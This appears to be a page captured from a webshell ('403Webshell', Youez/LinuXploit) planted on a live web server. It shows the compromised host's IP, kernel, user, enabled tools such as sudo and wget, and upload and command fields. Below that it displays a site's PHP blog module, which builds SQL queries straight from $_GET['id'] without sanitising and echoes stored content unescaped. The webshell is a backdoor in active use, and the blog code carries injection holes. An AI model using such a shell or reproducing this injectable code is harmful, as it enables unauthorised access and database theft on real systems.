403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/store.tiacyrusxxx.com/public_html/dev/mod_blog_user.php
<?php
require_once('config.php');
dbconn();

if (isset($_GET['page'])) { $page = $_GET['page']; } else { $page = "1"; }
if (isset($_GET['id'])) { $id = $_GET['id']; } else { printf("<meta http-equiv=\"Refresh\" content=\"0;url=./index.php\">"); die("redirect"); }

$get_id = @mysql_query("SELECT member_id FROM cms_members WHERE display_name = '".$id."'");
$id = @mysql_result($get_id, 0, 'member_id');

$page_limit = 10;
$limit_start = $page * $page_limit - $page_limit;
		
$get_total = @mysql_query("SELECT count(*) as count FROM `cms_blogs` WHERE `cms_blogs`.`date` <= '".$today."' AND `cms_blogs`.`approved` = '1' AND `cms_blogs`.`member_id` = '".$id."'");
$total_rows = @mysql_result($get_total, 0, 'count');

$total_pages = ceil($total_rows / $page_limit);

if ($total_pages > 1) {
	$pagination = pagination($_SERVER['PHP_SELF']."?id=".$id,$page,$total_pages);
} else {
	$pagination = "";
}


$grab_sql = @mysql_query("SELECT `cms_blogs`.*, `cms_members`.`display_name`, `cms_members`.`feature_type`, `cms_members`.`feature_id` FROM `cms_blogs` INNER JOIN `cms_members` ON `cms_members`.`member_id` = `cms_blogs`.`member_id` WHERE `cms_blogs`.`date` <= '".$today."' AND `cms_blogs`.`approved` = '1' AND `cms_blogs`.`member_id` = '".$id."' ORDER BY `cms_blogs`.`date` DESC LIMIT ".$limit_start.",".$page_limit);

if(@mysql_num_rows($grab_sql) == 0) { // IF NO RECORDS
?>

<table border="0" cellspacing="10" cellpadding="0" align="center"><tr><td><div align="center">sorry! no results.</div></td></tr></table>
<?
} else {
?>
<table width="600" border="0" cellspacing="5" cellpadding="0">
<?
		unset($row);
		
		while ($row = mysql_fetch_array($grab_sql)) {
				$dt = explode("-", $row['date']);
				$date = date("F jS, Y", mktime(0, 0, 0, $dt[1], $dt[2], $dt[0]));
				
				$title = stripslashes($row['title']);
				
				$body = stripslashes($row['body']);
				$body = str_replace(chr(10), "<br />", $body);
				$body = str_replace("<p>", "", $body);
				$body = str_replace("</p>", "", $body);
				
				$tags = @mysql_query("SELECT `cms_tags_s`.`ctag_id` , `cms_tags_s`.`description` FROM `cms_blogs_tags`
INNER JOIN `cms_tags_s` ON `cms_tags_s`.`stag_id` = `cms_blogs_tags`.`stag_id` WHERE `cms_blogs_tags`.`blog_id` = '".$row['blog_id']."'");
				$tag_html = "";
				while ($tag = mysql_fetch_array($tags)) {
						$tag_html .= " <a href=\"search.php?tag=".stripslashes($tag['description'])."\">".stripslashes($tag['description'])."</a>,";
				}
				$tag_html = rtrim($tag_html, ',');
				
				if ($row['feature_type'] == 3) {
					$posted_by = stripslashes($row['display_name']);
				} else {
					if ($row['feature_type'] == 1) {
						$type_url = "model.php?id=".$row['feature_id'];
					} else {
						$type_url = "photographer.php?id=".$row['feature_id'];
					}
					$posted_by = "<a href=\"".$type_url."\" class=\"brown13pxbold\">".stripslashes($row['display_name'])."</a>";
				}
				
				if ($member_id == 0) {
					$message_url = "join.php";
				} else {
					$message_url = "acct_messages.php?view=".$posted_by;
				}
?>
<tr><td><span class="brown24px"><?=$title?></span></td></tr>
<tr><td><table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr><td width="70%"><span class="brown13pxbold">posted:&nbsp;<?=$date?>&nbsp;&nbsp;&nbsp;by:&nbsp;<?=$posted_by?> - <a href="<?=$message_url?>">send message!</a></span></td>
<td width="30%"><div align="right"><a href="comments.php?cid=<?=$row['blog_id']?>&ct=3"><span class="brown18px">comments( <?=$row['comments']?> )</span></a></div></td></tr></table></td></tr>

<tr><td><?=$body?><br />

<?
$blog_images = "";
$grab = @mysql_query("SELECT image_file FROM cms_blogs_images WHERE blog_id = '".$row['blog_id']."' ORDER BY img_id");
while ($img = mysql_fetch_array($grab)) {
	$blog_images .= "<td width\"190\"><a href=\"".$blogsweb.$img['image_file']."\" rel=\"lightbox[".$row['blog_id']."]\"><img src=\"".$blogsweb."tn_".$img['image_file']."\" border=\"0\"></a></td>";
}
if (!$blog_images == "") {
?>
<table border="0" cellspacing="0" cellpadding="3" align="center"><tr><?=$blog_images?></tr></table>
<?
}
?>
</td></tr>
<tr><td><span class="brown18px">tags:</span><?=$tag_html?></td></tr>
<tr><td><hr size="1" noshade="noshade" color="#ebeae9" /></td></tr>

<?
		}
		echo "</table>";
		echo $pagination;
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit